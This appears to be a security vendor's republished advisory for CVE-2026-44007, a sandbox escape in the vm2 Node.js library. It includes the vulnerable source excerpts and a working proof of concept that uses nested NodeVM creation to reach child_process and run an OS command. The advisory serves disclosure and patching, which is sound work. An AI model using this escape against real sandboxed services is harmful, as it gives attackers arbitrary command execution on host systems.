Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-44007 — vm2

🔴 CVSS 9.5 — Critical ⚠️ Exploit Public CWE-284 OSV
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

vm2 NodeVM nesting: true bypasses require: false allowing sandbox escape and arbitrary OS command execution

Summary

When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.

Details

The vulnerability is in how the nesting: true option interacts with the legacy module resolver.

lib/nodevm.js:96-99NESTING_OVERRIDE is a special builtin map that injects the vm2 package into the sandbox:

```js

const NESTING_OVERRIDE = Object.freeze({

__proto__: null,

vm2: vm2NestingLoader

});

```

lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:

```js

const customResolver = requireOpts instanceof Resolver;

const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(

requireOpts,

nesting && NESTING_OVERRIDE, // ← injected when nesting:true

this._compiler

);

```

lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENY_RESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTING_OVERRIDE:

```js

function makeResolverFromLegacyOptions(options, override, compiler) {

if (!options) {

if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all

// BUG: require:false + nesting:true reaches here

// override (NESTING_OVERRIDE) is applied, making vm2 available

const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);

return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable

}

// ...

}

```

lib/builtin.js:102-106NESTING_OVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:

```js

if (overrides) {

const keys = Object.getOwnPropertyNames(overrides);

for (const key of keys) {

res.set(key, overrides[key]); // vm2 always injected when nesting:true

}

}

```

The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches child_process.

This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.

PoC

Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).

```js

const { NodeVM } = require('vm2');

// Host intends: nesting enabled, but require completely disabled

const vm = new NodeVM({ nesting: true, require: false });

const result = vm.run(`

// Step 1: require('vm2') succeeds despite require:false on the outer VM

const { NodeVM: NVM } = require('vm2');

// Step 2: create an inner NodeVM with attacker-chosen require config

// This inner VM has no relation to the outer VM's restrictions

const inner = new NVM({ require: { builtin: ['child_process'] } });

// Step 3: execute arbitrary OS command in the inner VM

module.exports = inner.run(

'module.exports = require("child_process").execSync("id").toString()'

);

`);

console.log(result);

// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...

```

Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591):

```

uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)

```

The variant with require: false also works — the outer VM's require setting has no effect:

```js

new NodeVM({ nesting: true, require: false }).run(`

const { NodeVM: NVM } = require('vm2');

module.exports = new NVM({ require: { builtin: ['child_process'] } })

.run('module.exports = require("child_process").execSync("id").toString()');

`);

// uid=1000(akshat) ...

```

Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.

Impact

Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandbox

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: High — administrative rights are needed first.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-44007 is classified as CWE-284: Improper Access Control. The software does not restrict an action to the actors that should be allowed to perform it.

Affected software

CVE-2026-44007 is recorded against 1 package.

  • vm2

Timeline and source

Published on 7 May 2026 and last revised on 6 August 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)
www.openwall.com (Web)

Other advisories for this package

vm2 has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-284: Improper Access Control) in other software:

CVE-2026-44007 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE CWE-284
Public Exploit ⚠️ Yes
Source OSV
Published 2026-05-07
Updated 2026-08-20
Modified 2026-08-06
Fix URL N/A

Affected Packages

Software From version Fixed in
vm2

Similar Threats

Exploit Protection

Are you running vm2?

CVE-2026-44007 carries CVSS 9.5 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-44007 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026